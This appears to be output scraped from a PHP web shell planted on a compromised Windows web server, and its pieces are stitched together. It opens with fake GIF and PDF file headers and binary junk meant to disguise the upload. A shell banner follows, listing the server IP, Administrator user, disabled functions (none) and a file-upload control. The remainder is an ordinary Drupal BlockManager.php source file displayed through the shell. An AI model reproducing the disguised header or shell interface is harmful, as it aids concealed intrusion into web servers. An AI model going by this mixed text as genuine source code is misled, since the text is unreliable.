GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Block/ |
Upload File : |
<?php namespace Drupal\Core\Block; use Drupal\Component\Plugin\FallbackPluginManagerInterface; use Drupal\Core\Cache\CacheBackendInterface; use Drupal\Core\Extension\ModuleHandlerInterface; use Drupal\Core\Plugin\CategorizingPluginManagerTrait; use Drupal\Core\Plugin\Context\ContextAwarePluginManagerTrait; use Drupal\Core\Plugin\DefaultPluginManager; /** * Manages discovery and instantiation of block plugins. * * @todo Add documentation to this class. * * @see \Drupal\Core\Block\BlockPluginInterface */ class BlockManager extends DefaultPluginManager implements BlockManagerInterface, FallbackPluginManagerInterface { use CategorizingPluginManagerTrait { getSortedDefinitions as traitGetSortedDefinitions; getGroupedDefinitions as traitGetGroupedDefinitions; } use ContextAwarePluginManagerTrait; /** * Constructs a new \Drupal\Core\Block\BlockManager object. * * @param \Traversable $namespaces * An object that implements \Traversable which contains the root paths * keyed by the corresponding namespace to look for plugin implementations. * @param \Drupal\Core\Cache\CacheBackendInterface $cache_backend * Cache backend instance to use. * @param \Drupal\Core\Extension\ModuleHandlerInterface $module_handler * The module handler to invoke the alter hook with. */ public function __construct(\Traversable $namespaces, CacheBackendInterface $cache_backend, ModuleHandlerInterface $module_handler) { parent::__construct('Plugin/Block', $namespaces, $module_handler, 'Drupal\Core\Block\BlockPluginInterface', 'Drupal\Core\Block\Annotation\Block'); $this->alterInfo('block'); $this->setCacheBackend($cache_backend, 'block_plugins'); } /** * {@inheritdoc} */ public function processDefinition(&$definition, $plugin_id) { parent::processDefinition($definition, $plugin_id); $this->processDefinitionCategory($definition); } /** * {@inheritdoc} */ public function getSortedDefinitions(array $definitions = NULL) { // Sort the plugins first by category, then by label. $definitions = $this->traitGetSortedDefinitions($definitions, 'admin_label'); // Do not display the 'broken' plugin in the UI. unset($definitions['broken']); return $definitions; } /** * {@inheritdoc} */ public function getGroupedDefinitions(array $definitions = NULL) { $definitions = $this->traitGetGroupedDefinitions($definitions, 'admin_label'); // Do not display the 'broken' plugin in the UI. unset($definitions[$this->t('Block')]['broken']); return $definitions; } /** * {@inheritdoc} */ public function getFallbackPluginId($plugin_id, array $configuration = []) { return 'broken'; } }